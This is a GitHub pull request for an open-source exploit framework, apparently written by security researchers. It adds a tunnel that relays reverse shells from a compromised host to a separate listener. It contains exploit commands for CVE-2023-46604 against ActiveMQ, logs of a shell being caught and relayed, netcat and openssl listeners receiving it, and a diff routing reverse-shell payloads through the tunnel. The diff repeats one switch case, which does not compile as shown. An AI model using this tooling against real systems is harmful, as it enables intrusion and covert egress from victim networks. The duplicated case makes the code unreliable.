vulncheck-oss / go-exploit

A Go-based Exploit Framework
https://pkg.go.dev/github.com/vulncheck-oss/go-exploit
Apache License 2.0
304 stars 29 forks source link

Initial implementation of ShellTunnel #262

Closed j-baines closed 1 week ago

j-baines commented 2 weeks ago

This was born while talking to the team about exploitation scenarios and documenting them. What I've done here isn't exactly what the team was talking about but I think useful. Here are the docs I wrote in shelltunnel.go.

// shelltunnel is a dumb C2 that shuttles shell traffic between a reverse shell origin and
// a connectback server. It essentially allows for this setup:
//
// | Box 1 |                       |     Box 2    |                      |    Box 3     |
// | nc -l | <- shell traffic ->   | shell tunnel | <- shell traffic ->  | shell origin |
//
// In this way, go-exploit on box 2 can act as an egress for box on victim network. The shelltunnel
// will just shuffle data between the two boxes. This is appealing over something like a socks5
// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,
// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).
//
// Usage example using an unencrypted reverse shell:
//
//  albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12
//  time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
//  time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false
//  time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
//  time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ"
//  time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...
//  time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit"
//  time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload"
//  time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload"
//  time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440"
//  time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!"
//  time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
//
// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener
// at 10.9.49.12:1270. The shell there looks like this:
//
//  parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270
//  Listening on 0.0.0.0 1270
//  Connection received on 10.9.49.192 51478
//  pwd
//  /opt/apache-activemq-5.15.2
//
// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:
//
//  ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen
//
// And the reverse shell can now be caught by openssl:
//
//  parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270
//  pwd
//  /opt/apache-activemq-5.15.2

In the docs, you can see I tested with ActiveMQ. Here is the ActiveMQ diff:

+++ b/feed/cve-2023-46604/cve-2023-46604.go
@@ -130,9 +130,13 @@ func generatePayload(conf *config.Config) (string, bool) {
        generated := ""

        switch conf.C2Type {
+       case c2.ShellTunnel:
+               fallthrough
        case c2.SSLShellServer:
                output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
                generated = reverse.JJS.Default(conf.Lhost, conf.Lport, true)
+       case c2.ShellTunnel:
+               fallthrough
        case c2.SimpleShellServer:
                output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
                generated = reverse.JJS.Default(conf.Lhost, conf.Lport, false)
@@ -218,6 +222,7 @@ func main() {
        supportedC2 := []c2.Impl{
                c2.SSLShellServer,
                c2.SimpleShellServer,
+               c2.ShellTunnel,
                c2.HTTPServeFile,
        }
        conf := config.NewRemoteExploit(

So, in my mind, this is essentially "for free". We just piggy-back on the existing payloads.

Edit: I also got really annoyed at lll linter and got rid of it.